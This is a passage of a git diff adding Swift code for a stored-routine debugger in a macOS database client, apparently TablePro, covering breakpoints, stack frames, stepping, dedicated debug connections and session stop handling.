+                        placedBreakpoints[result.unitIdentity, default: []].insert(result.line)
+                    }
+                    // Removed while the request was out: the server's breakpoint stays placed but unwanted, so the
+                    // next sync takes it off instead of the marker coming back.
+                    guard breakpoints[unit]?.contains(line) == true else { continue }
+                    breakpoints[unit]?.remove(line)
+                    if let result {
+                        breakpoints[result.unitIdentity, default: []].insert(result.line)
+                    }
+                } catch {
+                    guard !isStopping else { return }
+                    breakpoints[unit]?.remove(line)
+                    inspectionError = Self.message(for: error)
+                }
+            }
+        }
+    }
+
+    // MARK: - Frames
+
+    var currentLocation: PluginDebugLocation? {
+        guard let paused = state.pausedLocation else { return nil }
+        let shown = frames.first { $0.level == displayedFrameLevel }
+        return shown?.location ?? paused
+    }
+
+    var executionLine: Int? {
+        guard let location = currentLocation, location.unit.identity == displayedUnit?.identity else { return nil }
+        return location.line
+    }
+
+    var displayedSource: String {
+        displayedUnit.flatMap { sources[$0.identity] } ?? ""
+    }
+
+    func selectFrame(level: Int) {
+        guard let session, state.pausedLocation != nil, stackIsCurrent, selectedFrameLevel != level,
+              let frame = frames.first(where: { $0.level == level })
+        else { return }
+        selectedFrameLevel = level
+        let generation = pauseGeneration
+        enqueue { [weak self] in
+            guard let self, self.isCurrentFrame(level, generation) else { return }
+            do {
+                if let unit = frame.location?.unit {
+                    try await self.loadSource(of: unit, from: session)
+                }
+                guard self.isCurrentFrame(level, generation) else { return }
+                let values = try await session.variables(inFrame: level)
+                guard self.isCurrentFrame(level, generation) else { return }
+                self.show(frame: level, unit: frame.location?.unit, variables: values)
+            } catch {
+                guard !self.isStopping else { return }
+                self.inspectionError = Self.message(for: error)
+            }
+        }
+    }
+
+    private func isCurrentFrame(_ level: Int, _ generation: Int) -> Bool {
+        isCurrentPause(generation) && selectedFrameLevel == level
+    }
+
+    private func show(frame level: Int, unit: PluginDebugUnit?, variables values: [PluginDebugVariable]) {
+        if let unit {
+            displayedUnit = unit
+        }
+        variables = values
+        displayedFrameLevel = level
+    }
+
+    // MARK: - Status
+
+    var statusText: String {
+        if isStopping, !hasEnded {
+            return String(localized: "Stopping…")
+        }
+        switch state {
+        case .preparing:
+            return String(localized: "Preparing…")
+        case .starting:
+            return String(localized: "Starting…")
+        case .running:
+            return String(localized: "Running…")
+        case .paused(let location):
+            return String(format: String(localized: "Paused at line %d in %@"), location.line, location.unit.displayName)
+        case .finished:
+            return String(localized: "Finished")
+        case .failed(let message):
+            return message
+        case .stopped(let message):
+            return message ?? String(localized: "Stopped")
+        }
+    }
+
+    // MARK: - Run
+
+    func start() {
+        guard lastOperation == nil, !isEnding else { return }
+        lastOperation = Task { [weak self] in
+            await self?.run()
+        }
+    }
+
+    private func run() async {
+        // A stop that landed before this task ran found nothing to cancel, so nothing may be asked or opened.
+        guard !isStopping else {
+            await end(.stopped(nil))
+            return
+        }
+        let decision = await authorize(OperationRequest(
+            connectionId: connectionId,
+            databaseType: databaseType,
+            sql: nil,
+            kind: plan.mayWrite ? .writeQuery : .readQuery,
+            caller: .userInterface,
+            capabilities: .interactiveUser,
+            operationDescription: String(localized: "Debug Routine")
+        ))
+        guard await proceed(after: decision) else { return }
+        if let preparation = plan.preparation {
+            guard await prepare(preparation) else { return }
+        }
+        guard !isStopping else {
+            await end(.stopped(nil))
+            return
+        }
+        setState(.starting)
+        let request = PluginDebugRequest(
+            entryPoint: choice.entryPoint,
+            arguments: choice.arguments,
+            breakpoints: breakpoints.flatMap { unit, lines in
+                lines.map { PluginDebugBreakpoint(unitIdentity: unit, line: $0) }
+            },
+            optionValues: choice.optionValues
+        )
+        let debugger = debugger
+        let sessionSource = sessionSource
+        let start = Task { try await debugger.startDebug(request, sessions: sessionSource) }
+        startTask = start
+        let session: any PluginDebugSession
+        do {
+            session = try await start.value
+            startTask = nil
+        } catch {
+            startTask = nil
+            if !isStopping {
+                Self.logger.error("Debug session did not start: \(error.publicLogShape, privacy: .public)")
+            } else if !(error is CancellationError) {
+                // A cancelled start throws something else only when it could not confirm its target ended.
+                unconfirmedStop = Self.message(for: error)
+            }
+            await end(isStopping ? .stopped(nil) : .failed(Self.message(for: error)))
+            return
+        }
+        // Stopped while starting: a session that came back anyway is ended before its drivers close.
+        guard !isStopping, !isEnding else {
+            await endTarget(session)
+            await end(.stopped(nil))
+            return
+        }
+        self.session = session
+        placedBreakpoints = request.breakpoints.reduce(into: [:]) { placed, breakpoint in
+            placed[breakpoint.unitIdentity, default: []].insert(breakpoint.line)
+        }
+        supportedCommands = session.supportedCommands
+        observeOutput(of: session)
+        await runStep { try await session.firstStop() }
+    }
+
+    // In a task of its own, so a stop can withdraw a confirmation or Touch ID prompt the gate is still waiting on.
+    private func authorize(_ request: OperationRequest) async -> OperationDecision {
+        let gate = gate
+        let work = Task { await gate.authorize(request) }
+        authorizationTask = work
+        defer { authorizationTask = nil }
+        return await work.value
+    }
+
+    private func proceed(after decision: OperationDecision) async -> Bool {
+        switch decision {
+        case .authorized:
+            guard isStopping else { return true }
+            await end(.stopped(nil))
+            return false
+        case .denied(let reason, let cause):
+            if cause == .cancelledByUser || isStopping {
+                let declined = !isStopping
+                await end(.stopped(nil))
+                if declined {
+                    onCancelled?()
+                }
+            } else {
+                await end(.failed(reason))
+            }
+            return false
+        }
+    }
+
+    private func prepare(_ preparation: PluginDebugPreparation) async -> Bool {
+        guard await confirmPreparation(preparation) else {
+            let declined = !isStopping
+            await end(.stopped(nil))
+            if declined {
+                onCancelled?()
+            }
+            return false
+        }
+        guard !isStopping else {
+            await end(.stopped(nil))
+            return false
+        }
+        let decision = await authorize(OperationRequest(
+            connectionId: connectionId,
+            databaseType: databaseType,
+            sql: preparation.statements.joined(separator: "\n"),
+            kind: .schemaMutation,
+            caller: .userInterface,
+            capabilities: .interactiveUser,
+            operationDescription: preparation.actionTitle
+        ))
+        guard await proceed(after: decision) else { return false }
+        let statements = preparation.statements
+        let source = sessionSource
+        let work = Task { try await source.run(statements) }
+        preparationTask = work
+        do {
+            try await work.value
+            preparationTask = nil
+        } catch {
+            preparationTask = nil
+            await end(isStopping ? .stopped(nil) : .failed(Self.message(for: error)))
+            return false
+        }
+        guard !isStopping else {
+            await end(.stopped(nil))
+            return false
+        }
+        return true
+    }
+
+    private func runStep(_ step: @escaping () async throws -> PluginDebugStop) async {
+        let outcome: PluginDebugStop
+        do {
+            outcome = try await step()
+        } catch {
+            guard !isStopping, let session else { return }
+            Self.logger.error("Debug step failed: \(error.publicLogShape, privacy: .public)")
+            // The step's outcome is unknown, so the target is ended before its drivers close.
+            await endTarget(session)
+            await end(.failed(Self.message(for: error)))
+            return
+        }
+        // A stop in flight owns the ending; a pause that raced it is the plugin's to abort. The waiting step's own words
+        // (rolled back, say) become the status when the stop itself was confirmed.
+        guard !isStopping else {
+            switch outcome {
+            case .failed(let message, let detail):
+                answerStop(with: Self.join(message, detail))
+            case .finished:
+                answerStop(with: String(localized: "The routine finished before the stop reached it."))
+            default:
+                break
+            }
+            return
+        }
+        switch outcome {
+        case .paused(let location):
+            pauseGeneration += 1
+            selectedFrameLevel = nil
+            displayedFrameLevel = nil
+            stackIsCurrent = false
+            // The last pause's values would read as this one's until the new ones load, or for good if they fail.
+            variables = []
+            inspectionError = nil
+            setState(.paused(location))
+            await inspect(location, generation: pauseGeneration)
+        case .finished(let result):
+            await end(.finished(result))
+        case .failed(let message, let detail):
+            // A target the plugin gave up on may still run: its stop says so, and may still end it, before the drivers close.
+            if let session {
+                await endTarget(session)
+            }
+            await end(.failed(Self.join(message, detail)))
+        @unknown default:
+            if let session {
+                await endTarget(session)
+            }
+            await end(.failed(String(localized: "The debugger stopped for a reason TablePro doesn't know.")))
+        }
+    }
+
+    private func inspect(_ location: PluginDebugLocation, generation: Int) async {
+        guard let session else { return }
+        inspectionError = nil
+        displayedUnit = location.unit
+        await syncBreakpoints(session)
+        guard isCurrentPause(generation) else { return }
+        do {
+            try await loadSource(of: location.unit, from: session)
+            guard isCurrentPause(generation) else { return }
+            let stack = try await session.stack()
+            guard isCurrentPause(generation) else { return }
+            frames = stack
+            let level = stack.first?.level ?? 0
+            selectedFrameLevel = level
+            stackIsCurrent = true
+            let values = try await session.variables(inFrame: level)
+            guard isCurrentFrame(level, generation) else { return }
+            show(frame: level, unit: location.unit, variables: values)
+        } catch {
+            guard !isStopping else { return }
+            inspectionError = Self.message(for: error)
+        }
+    }
+
+    private func loadSource(of unit: PluginDebugUnit, from session: any PluginDebugSession) async throws {
+        guard sources[unit.identity] == nil else { return }
+        sources[unit.identity] = try await session.source(of: unit)
+    }
+
+    private func isCurrentPause(_ generation: Int) -> Bool {
+        generation == pauseGeneration && state.pausedLocation != nil && !isStopping
+    }
+
+    private func observeOutput(of session: any PluginDebugSession) {
+        let stream = session.output
+        outputTask = Task { [weak self] in
+            for await line in stream {
+                self?.appendOutput(line)
+            }
+        }
+    }
+
+    private func appendOutput(_ line: String) {
+        outputLines.append(line)
+        if outputLines.count > Self.outputLineLimit {
+            outputLines.removeFirst(outputLines.count - Self.outputLineLimit)
+        }
+    }
+
+    private func enqueue(_ operation: @escaping @MainActor () async -> Void) {
+        let previous = lastOperation
+        lastOperation = Task {
+            await previous?.value
+            await operation()
+        }
+    }
+
+    private func answerStop(with message: String) {
+        stopMessage = message
+        if hasEnded, case .stopped(.none) = state {
+            setState(.stopped(message))
+        }
+    }
+
+    private func end(_ final: State) async {
+        guard !isEnding else { return }
+        isEnding = true
+        // A run that ended by itself may still have output on its way, possibly read over these connections; a stopped
+        // one keeps what already arrived.
+        if !isStopping, let outputTask, final.endedByItself {
+            _ = await AppModuleTermination.runCapped(at: Self.outputDrainLimit) {
+                await outputTask.value
+            }
+        }
+        await sessionSource.closeAll()
+        outputTask?.cancel()
+        // Read after the wait: the waiting step's answer to the stop can land while the drivers close.
+        var final = final
+        switch final {
+        case .stopped(.none):
+            final = .stopped(unconfirmedStop ?? stopMessage)
+        case .failed(let message):
+            if let unconfirmedStop, unconfirmedStop != message {
+                final = .failed(Self.join(message, unconfirmedStop))
+            }
+        default:
+            break
+        }
+        if case .finished(let result) = final {
+            resultGrid = result.flatMap { Self.makeResultGrid($0, databaseType: databaseType) }
+        }
+        hasEnded = true
+        setState(final)
+        let waiters = endWaiters
+        endWaiters.removeAll()
+        for waiter in waiters {
+            waiter.resume()
+        }
+    }
+
+    private func setState(_ newState: State) {
+        state = newState
+        notifyStateChange()
+    }
+
+    // The toolbar and the Debug menu validate on a window update; a step finishing posts no event to cause one.
+    private func notifyStateChange() {
+        NSApplication.shared.setWindowsNeedUpdate(true)
+    }
+
+    // MARK: - Helpers
+
+    static func message(for error: Error) -> String {
+        if let driverError = error as? any PluginDriverError {
+            return join(driverError.pluginErrorMessage, driverError.pluginErrorDetail)
+        }
+        return error.localizedDescription
+    }
+
+    private static func join(_ message: String, _ detail: String?) -> String {
+        guard let detail, !detail.isEmpty else { return message }
+        return message + "\n" + detail
+    }
+
+    private static func makeResultGrid(_ result: PluginQueryResult, databaseType: DatabaseType) -> HeldRowsGridAdapter? {
+        guard !result.columns.isEmpty else { return nil }
+        let classifier = ColumnTypeClassifier(family: SQLTypeFamily.of(databaseType))
+        let rows = TableRows.from(
+            queryRows: result.rows,
+            columns: result.columns,
+            columnTypes: result.columnTypeNames.map { classifier.classify(rawTypeName: $0) }
+        )
+        var configuration = DataGridConfiguration()
+        configuration.traits = DataGridEngineTraits(databaseType: databaseType)
+        configuration.showRowNumbers = true
+        configuration.supportsValueFilter = false
+        configuration.commands = [.freezeColumns, .displayAs]
+        let grid = HeldRowsGridAdapter(configuration: configuration, sortsHeldRows: true)
+        grid.setRows(rows)
+        return grid
+    }
+}
diff --git a/apple/TablePro/Core/RoutineDebugging/RoutineDebugOptionStore.swift b/apple/TablePro/Core/RoutineDebugging/RoutineDebugOptionStore.swift
new file mode 100644
index 0000000000..168bb475cc
--- /dev/null
+++ b/apple/TablePro/Core/RoutineDebugging/RoutineDebugOptionStore.swift
@@ -0,0 +1,48 @@
+//
+//  RoutineDebugOptionStore.swift
+//  TablePro
+//
+
+import Foundation
+
+// The start sheet's option values, per connection and field. Device-local: a debugger host or port names this Mac's network.
+internal struct RoutineDebugOptionStore: Sendable {
+    private static let keyPrefix = "RoutineDebugOption."
+
+    private let defaults: @Sendable () -> UserDefaults
+
+    init(defaults: @escaping @Sendable () -> UserDefaults = { AppStorageEnvironment.shared.defaults }) {
+        self.defaults = defaults
+    }
+
+    static func key(connectionId: UUID, fieldId: String) -> String {
+        "\(keyPrefix)\(connectionId.uuidString).\(fieldId)"
+    }
+
+    func value(for fieldId: String, connectionId: UUID) -> String? {
+        defaults().string(forKey: Self.key(connectionId: connectionId, fieldId: fieldId))
+    }
+
+    func save(_ values: [String: String], connectionId: UUID) {
+        let store = defaults()
+        for (fieldId, value) in values {
+            store.set(value, forKey: Self.key(connectionId: connectionId, fieldId: fieldId))
+        }
+    }
+
+    // Field ids are the plugin's, so a connection's keys are found by prefix.
+    func remove(for connectionId: UUID) {
+        removeKeys(withPrefix: "\(Self.keyPrefix)\(connectionId.uuidString).")
+    }
+
+    func removeAll() {
+        removeKeys(withPrefix: Self.keyPrefix)
+    }
+
+    private func removeKeys(withPrefix prefix: String) {
+        let store = defaults()
+        for key in store.keys(withPrefix: prefix) {
+            store.removeObject(forKey: key)
+        }
+    }
+}
diff --git a/apple/TablePro/Core/RoutineDebugging/RoutineDebugSessionSource.swift b/apple/TablePro/Core/RoutineDebugging/RoutineDebugSessionSource.swift
new file mode 100644
index 0000000000..6ae474e555
--- /dev/null
+++ b/apple/TablePro/Core/RoutineDebugging/RoutineDebugSessionSource.swift
@@ -0,0 +1,146 @@
+//
+//  RoutineDebugSessionSource.swift
+//  TablePro
+//
+
+import Foundation
+import TableProPluginKit
+
+internal struct RoutineDebugDriverHandle: Sendable {
+    let driver: any PluginDatabaseDriver
+    let close: @Sendable () -> Void
+}
+
+internal enum RoutineDebugError: LocalizedError, Equatable {
+    case sessionEnded
+    case needsSeparateConnection
+    case unsupported
+    case connectionChanged
+
+    var errorDescription: String? {
+        switch self {
+        case .sessionEnded:
+            return String(localized: "The debug session has ended.")
+        case .needsSeparateConnection:
+            return String(localized: "This connection can't open the separate sessions the debugger needs.")
+        case .unsupported:
+            return String(localized: "This connection's driver can't debug routines.")
+        case .connectionChanged:
+            return String(localized: "The connection was closed or reconnected while the debugger was starting. Start it again.")
+        }
+    }
+}
+
+// Dedicated connections for one debug session: never pooled, never health-pinged, no query timeout, all closed when it ends.
+internal actor RoutineDebugSessionSource: PluginDebugSessionSource {
+    typealias Opener = @Sendable () async throws -> RoutineDebugDriverHandle
+
+    // A paused target waits on a person, so any statement timeout would end the session between two steps.
+    static let queryTimeoutSeconds = 0
+
+    private let opener: Opener
+    // The connection's admission fence: false while its transport is being torn down or after it was replaced.
+    private let admits: @Sendable () async -> Bool
+    private var handles: [UUID: RoutineDebugDriverHandle] = [:]
+    private var isClosed = false
+    private var permitsCleanup = false
+
+    init(admits: @escaping @Sendable () async -> Bool = { true }, opener: @escaping Opener) {
+        self.admits = admits
+        self.opener = opener
+    }
+
+    // Once the run is stopping, a session the plugin opens to end its target is let through the fence.
+    func permitCleanup() {
+        permitsCleanup = true
+    }
+
+    func openSession() async throws -> any PluginDatabaseDriver {
+        let handle = try await dial()
+        handles[UUID()] = handle
+        return handle.driver
+    }
+
+    // On a driver of its own, never the person's session: a DDL statement there would commit a transaction they left
+    // open. The driver sits with the session's others while it runs, so ending the session closes it too.
+    func run(_ statements: [String]) async throws {
+        let handle = try await dial()
+        let id = UUID()
+        handles[id] = handle
+        defer { handles.removeValue(forKey: id)?.close() }
+        for statement in statements {
+            try Task.checkCancellation()
+            guard !isClosed else { throw RoutineDebugError.sessionEnded }
+            _ = try await handle.driver.execute(query: statement)
+        }
+    }
+
+    private func dial() async throws -> RoutineDebugDriverHandle {
+        try await checkAdmission()
+        let handle = try await opener()
+        // The session may have ended, or the connection closed its fence, while the driver was being dialed.
+        do {
+            try await checkAdmission()
+        } catch {
+            handle.close()
+            throw error
+        }
+        return handle
+    }
+
+    private func checkAdmission() async throws {
+        guard !isClosed else { throw RoutineDebugError.sessionEnded }
+        guard !permitsCleanup else { return }
+        guard await admits() else { throw RoutineDebugError.connectionChanged }
+        guard !isClosed else { throw RoutineDebugError.sessionEnded }
+    }
+
+    func closeAll() {
+        isClosed = true
+        let closing = handles.values
+        handles.removeAll()
+        for handle in closing {
+            handle.close()
+        }
+    }
+}
+
+extension RoutineDebugSessionSource {
+    typealias ServerOpener = @MainActor @Sendable (DatabaseScope, Int) async throws -> DatabaseDriver
+
+    // `generation` is the connection's admission generation when the start sheet opened.
+    @MainActor
+    static func live(
+        scope: DatabaseScope,
+        generation: Int,
+        open: @escaping ServerOpener = dedicatedServerDriver
+    ) -> RoutineDebugSessionSource {
+        let connectionId = scope.connectionId
+        return RoutineDebugSessionSource(admits: {
+            await RoutineDebugSessions.shared.admits(connectionId, generation: generation)
+        }) {
+            let driver = try await open(scope, Self.queryTimeoutSeconds)
+            guard let adapter = driver as? PluginDriverAdapter else {
+                driver.disconnect()
+                throw RoutineDebugError.unsupported
+            }
+            return RoutineDebugDriverHandle(driver: adapter.schemaPluginDriver) { adapter.disconnect() }
+        }
+    }
+
+    // A second connection to an embedded engine opens a different, empty database, so those engines are refused.
+    @MainActor
+    static func dedicatedServerDriver(scope: DatabaseScope, queryTimeoutSeconds: Int) async throws -> DatabaseDriver {
+        guard let session = DatabaseManager.shared.session(for: scope.connectionId) else {
+            throw DatabaseError.notConnected
+        }
+        guard session.connection.type.supportsConnectionPooling else {
+            throw RoutineDebugError.needsSeparateConnection
+        }
+        return try await MetadataConnectionPool.openServerDriver(
+            for: scope,
+            purpose: .session,
+            queryTimeoutSeconds: queryTimeoutSeconds
+        )
+    }
+}
diff --git a/apple/TablePro/Core/RoutineDebugging/RoutineDebugSessions.swift b/apple/TablePro/Core/RoutineDebugging/RoutineDebugSessions.swift
new file mode 100644
index 0000000000..3796ef6ec7
--- /dev/null
+++ b/apple/TablePro/Core/RoutineDebugging/RoutineDebugSessions.swift
@@ -0,0 +1,247 @@
+//
+//  RoutineDebugSessions.swift
+//  TablePro
+//
+
+import AppKit
+import Foundation
+import os
+import TableProPluginKit
+
+// T0 plus the stop limit, fixed when a stop is first asked for. Every wait in that stop, and every caller waiting on
+// it, runs against this one instant, so no connection closes before the plugin answered or the instant passed.
+internal struct RoutineDebugStopDeadline: Sendable {
+    let instant: ContinuousClock.Instant
+
+    init(after limit: Duration) {
+        instant = ContinuousClock.now.advanced(by: limit)
+    }
+
+    // True when `work` returned first. Work still running at the deadline is left running.
+    @MainActor
+    func wait(for work: @escaping @MainActor @Sendable () async -> Void) async -> Bool {
+        await AppModuleTermination.runCapped(at: ContinuousClock.now.duration(to: instant), work)
+    }
+}
+
+// Every live debug run, by the tab that shows it. Its connection can move to another window, so nothing here keeps one.
+@MainActor
+internal final class RoutineDebugSessions {
+    static let shared = RoutineDebugSessions()
+
+    // Long enough for a reachable server to abort and roll back, short enough that a disconnect never hangs on one that isn't.
+    static let defaultStopTimeout: Duration = .seconds(5)
+
+    private static let logger = Logger(subsystem: "com.TablePro", category: "RoutineDebugSessions")
+
+    private struct Entry {
+        let controller: RoutineDebugController
+        let connectionId: UUID
+    }
+
+    private var entries: [UUID: Entry] = [:]
+    private var ending: [UUID: Entry] = [:]
+    // Per connection: closed while its transport is torn down or replaced, and bumped each time, so a start set up
+    // against the old transport is refused even after the fence opens again. Replacements nest; the last to end opens it.
+    private var fenceDepths: [UUID: Int] = [:]
+    private var admissionGenerations: [UUID: Int] = [:]
+    // Runs a disconnect ended: the connection's teardown takes their tabs before anyone reads their status.
+    private var unseenEndTabs: Set<UUID> = []
+    // Choosers, start sheets and preparation alerts still on screen, so turning the module off can take them down.
+    private var pendingSetups: [ObjectIdentifier: RoutineDebugSetup] = [:]
+    private var moduleObserver: NSObjectProtocol?
+    private let isModuleEnabled: @MainActor () -> Bool
+    private let notificationCenter: NotificationCenter
+    private let reportUnconfirmedStop: @MainActor (RoutineDebugController, NSWindow?) -> Void
+
+    init(
+        isModuleEnabled: @escaping @MainActor () -> Bool = { AppModuleSettings.shared.isEnabled(.routineDebugger) },
+        notificationCenter: NotificationCenter = .default,
+        reportUnconfirmedStop: @escaping @MainActor (RoutineDebugController, NSWindow?) -> Void =
+            RoutineDebugSessions.presentUnconfirmedStop
+    ) {
+        self.isModuleEnabled = isModuleEnabled
+        self.notificationCenter = notificationCenter
+        self.reportUnconfirmedStop = reportUnconfirmedStop
+    }
+
+    var hasActiveSessions: Bool {
+        entries.values.contains { !$0.controller.hasEnded } || !ending.isEmpty
+    }
+
+    // Refused once the connection's transport went away after `generation` was read; nil means now.
+    @discardableResult
+    func register(
+        _ controller: RoutineDebugController,
+        tabId: UUID,
+        connectionId: UUID,
+        generation: Int? = nil
+    ) -> Bool {
+        guard admits(connectionId, generation: generation ?? admissionGeneration(for: connectionId)) else { return false }
+        entries[tabId] = Entry(controller: controller, connectionId: connectionId)
+        observeModuleIfNeeded()
+        return true
+    }
+
+    // MARK: - Setups
+
+    func beginSetup(_ setup: RoutineDebugSetup) {
+        pendingSetups[ObjectIdentifier(setup)] = setup
+        observeModuleIfNeeded()
+    }
+
+    func endSetup(_ setup: RoutineDebugSetup) {
+        pendingSetups.removeValue(forKey: ObjectIdentifier(setup))
+        stopObservingIfIdle()
+    }
+
+    // MARK: - Admission
+
+    func admissionGeneration(for connectionId: UUID) -> Int {
+        admissionGenerations[connectionId] ?? 0
+    }
+
+    func admits(_ connectionId: UUID, generation: Int) -> Bool {
+        fenceDepths[connectionId] == nil && admissionGeneration(for: connectionId) == generation
+    }
+
+    // After the transport is up again, or gone for good. Starts read before the fence closed stay refused.
+    func reopenAdmission(for connectionId: UUID) {
+        guard let depth = fenceDepths[connectionId] else { return }
+        fenceDepths[connectionId] = depth > 1 ? depth - 1 : nil
+    }
+
+    private func closeAdmission(for connectionId: UUID) {
+        fenceDepths[connectionId, default: 0] += 1
+        admissionGenerations[connectionId] = admissionGeneration(for: connectionId) + 1
+    }
+
+    func controller(forTab tabId: UUID) -> RoutineDebugController? {
+        entries[tabId]?.controller
+    }
+
+    // The tab is going away: its run stops and its drivers close, without anyone waiting on it. With no tab left to
+    // show it, a stop the plugin could not confirm is reported on `window`, the one that held the tab.
+    func endSession(forTab tabId: UUID, window: NSWindow? = nil) {
+        guard let entry = entries.removeValue(forKey: tabId) else { return }
+        entry.controller.onCancelled = nil
+        guard !entry.controller.hasEnded else {
+            if unseenEndTabs.remove(tabId) != nil, entry.controller.unconfirmedStop != nil {
+                let controller = entry.controller
+                // A turn later, so a window closing with the tab is gone and the alert lands on one that stays.
+                Task { [weak self, weak window] in
+                    self?.reportUnconfirmedStop(controller, window)
+                }
+            }
+            stopObservingIfIdle()
+            return
+        }
+        unseenEndTabs.remove(tabId)
+        ending[tabId] = entry
+        entry.controller.stop()
+        Task { [weak self, weak window] in
+            await entry.controller.waitUntilEnded()
+            guard let self else { return }
+            self.ending.removeValue(forKey: tabId)
+            if entry.controller.unconfirmedStop != nil {
+                self.reportUnconfirmedStop(entry.controller, window)
+            }
+            self.stopObservingIfIdle()
+        }
+    }
+
+    func endSessions(forTabs tabIds: [UUID], window: NSWindow? = nil) {
+        for tabId in tabIds {
+            endSession(forTab: tabId, window: window)
+        }
+    }
+
+    // The target may still hold its locks. A quit in progress shows nothing: the process is about to end its connections.
+    static func presentUnconfirmedStop(of controller: RoutineDebugController, in window: NSWindow?) {
+        guard let text = controller.unconfirmedStop,
+              !AppModuleTermination.hasBegun,
+              !MainContentCoordinator.isAppTerminating
+        else { return }
+        let alert = NSAlert()
+        alert.messageText = String(format: String(localized: "%@ May Still Be Running"), controller.plan.target.name)
+        alert.informativeText = text
+        alert.alertStyle = .warning
+        alert.addButton(withTitle: String(localized: "OK"))
+        AlertHelper.present(alert, in: window?.isVisible == true ? window : nil)
+    }
+
+    // Before the connection's transport goes, so every target is aborted while it can still be reached. Closes the
+    // connection's admission first, so a start racing this cannot open a driver on the transport being torn down; the
+    // caller reopens it with `reopenAdmission(for:)` once the new transport is up.
+    // `tabsCloseAfter`: the caller tears the connection's tabs down next, so an unconfirmed stop is reported then.
+    func stopAll(connectionId: UUID, timeout: Duration = defaultStopTimeout, tabsCloseAfter: Bool = false) async {
+        let deadline = RoutineDebugStopDeadline(after: timeout)
+        closeAdmission(for: connectionId)
+        let controllers = (entries.values.map { $0 } + ending.values.map { $0 })
+            .filter { $0.connectionId == connectionId }
+            .map(\.controller)
+        await stopAndWait(controllers, by: deadline)
+        guard tabsCloseAfter else { return }
+        for (tabId, entry) in entries where entry.connectionId == connectionId {
+            unseenEndTabs.insert(tabId)
+        }
+    }
+
+    func stopAll(timeout: Duration = defaultStopTimeout) async {
+        let deadline = RoutineDebugStopDeadline(after: timeout)
+        let controllers = entries.values.map(\.controller) + ending.values.map(\.controller)
+        await stopAndWait(controllers, by: deadline)
+    }
+
+    // The runs close their drivers by the same deadline this waits for, so the caller's transport outlives them.
+    private func stopAndWait(_ controllers: [RoutineDebugController], by deadline: RoutineDebugStopDeadline) async {
+        let live = controllers.filter { !$0.hasEnded }
+        guard !live.isEmpty else { return }
+        for controller in live {
+            controller.stop(by: deadline)
+        }
+        let finished = await deadline.wait {
+            for controller in live {
+                await controller.waitUntilEnded()
+            }
+        }
+        if !finished {
+            Self.logger.warning("Debug sessions still stopping at their deadline; continuing without them")
+        }
+    }
+
+    // MARK: - Module
+
+    // Observed only while a run or a setup exists, so an off module leaves no observer behind.
+    private func observeModuleIfNeeded() {
+        guard moduleObserver == nil else { return }
+        moduleObserver = notificationCenter.addObserver(
+            forName: .appModulesDidChange,
+            object: nil,
+            queue: .main
+        ) { [weak self] _ in
+            MainActor.assumeIsolated {
+                self?.moduleDidChange()
+            }
+        }
+    }
+
+    private func stopObservingIfIdle() {
+        guard entries.isEmpty, ending.isEmpty, pendingSetups.isEmpty, let moduleObserver else { return }
+        notificationCenter.removeObserver(moduleObserver)
+        self.moduleObserver = nil
+    }
+
+    private func moduleDidChange() {
+        guard !isModuleEnabled() else { return }
+        let setups = Array(pendingSetups.values)
+        pendingSetups.removeAll()
+        for setup in setups {
+            setup.cancel()
+        }
+        for coordinator in MainContentCoordinator.activeCoordinators.values {
+            coordinator.closeRoutineDebugTabs()
+        }
+        endSessions(forTabs: Array(entries.keys))
+    }
+}
diff --git a/apple/TablePro/Core/RoutineDebugging/RoutineDebugStartFlow.swift b/apple/TablePro/Core/RoutineDebugging/RoutineDebugStartFlow.swift
new file mode 100644
index 0000000000..b3b4217b8a
--- /dev/null
+++ b/apple/TablePro/Core/RoutineDebugging/RoutineDebugStartFlow.swift
@@ -0,0 +1,82 @@
+//
+//  RoutineDebugStartFlow.swift
+//  TablePro
+//
+
+import Foundation
+import TableProPluginKit
+
+// One pending way into a debug run: the chooser, the start sheet, or a preparation alert. Cancelling it, as turning the
+// module off does, answers whatever is on screen as declined and stops the flow at its next step.
+@MainActor
+internal final class RoutineDebugSetup {
+    private(set) var isCancelled = false
+    var dismissPresentation: (@MainActor () -> Void)?
+
+    func cancel() {
+        guard !isCancelled else { return }
+        isCancelled = true
+        let dismiss = dismissPresentation
+        dismissPresentation = nil
+        dismiss?()
+    }
+}
+
+// A routine and the database and schema it was chosen in, frozen at that moment: an oid or an owner-qualified name only
+// means something there, and another window can move this connection's browse database while a sheet is up.
+internal struct RoutineDebugPick: Sendable, Equatable {
+    let target: PluginDebugTarget
+    let scope: DatabaseScope
+
+    // A chooser lists one database and schema: the pick keeps that database and the routine's own schema.
+    init(_ target: PluginDebugTarget, listedIn listed: DatabaseScope) {
+        self.target = target
+        self.scope = DatabaseScope(
+            connectionId: listed.connectionId,
+            database: listed.database,
+            schema: target.schema ?? listed.schema
+        )
+    }
+
+    init(target: PluginDebugTarget, scope: DatabaseScope) {
+        self.target = target
+        self.scope = scope
+    }
+}
+
+// From a chosen routine to an open debug tab. Every step that reads the database or shows something asks first
+// whether the module is still on and the setup still wanted, because each one can wait on the person for a while.
+@MainActor
+internal struct RoutineDebugStartFlow {
+    var isModuleEnabled: @MainActor () -> Bool
+    var prepare: @MainActor (RoutineDebugPick) async throws -> PluginDebugPlan
+    var presentStartSheet: @MainActor (PluginDebugPlan, RoutineDebugSetup) async -> RoutineDebugStartChoice?
+    var reportFailure: @MainActor (PluginDebugTarget, any Error) -> Void
+    var open: @MainActor (PluginDebugPlan, RoutineDebugStartChoice, DatabaseScope) -> Void
+
+    func choose(
+        setup: RoutineDebugSetup,
+        presentChooser: @MainActor (RoutineDebugSetup) async -> RoutineDebugPick?
+    ) async {
+        guard proceeds(setup), let pick = await presentChooser(setup) else { return }
+        await run(pick, setup: setup)
+    }
+
+    func run(_ pick: RoutineDebugPick, setup: RoutineDebugSetup) async {
+        guard proceeds(setup) else { return }
+        let plan: PluginDebugPlan
+        do {
+            plan = try await prepare(pick)
+        } catch {
+            guard proceeds(setup) else { return }
+            reportFailure(pick.target, error)
+            return
+        }
+        guard proceeds(setup), let choice = await presentStartSheet(plan, setup), proceeds(setup) else { return }
+        open(plan, choice, pick.scope)
+    }
+
+    private func proceeds(_ setup: RoutineDebugSetup) -> Bool {
+        !setup.isCancelled && isModuleEnabled()
+    }
+}
diff --git a/apple/TablePro/Core/Scripting/ScriptEnumerations.swift b/apple/TablePro/Core/Scripting/ScriptEnumerations.swift
index ba71e21420..98af280154 100644
--- a/apple/TablePro/Core/Scripting/ScriptEnumerations.swift
+++ b/apple/TablePro/Core/Scripting/ScriptEnumerations.swift
@@ -32,7 +32,8 @@ internal enum ScriptEnumerations {
         }
     }
 
-    internal static func code(for tabType: TabType) -> FourCharCode {
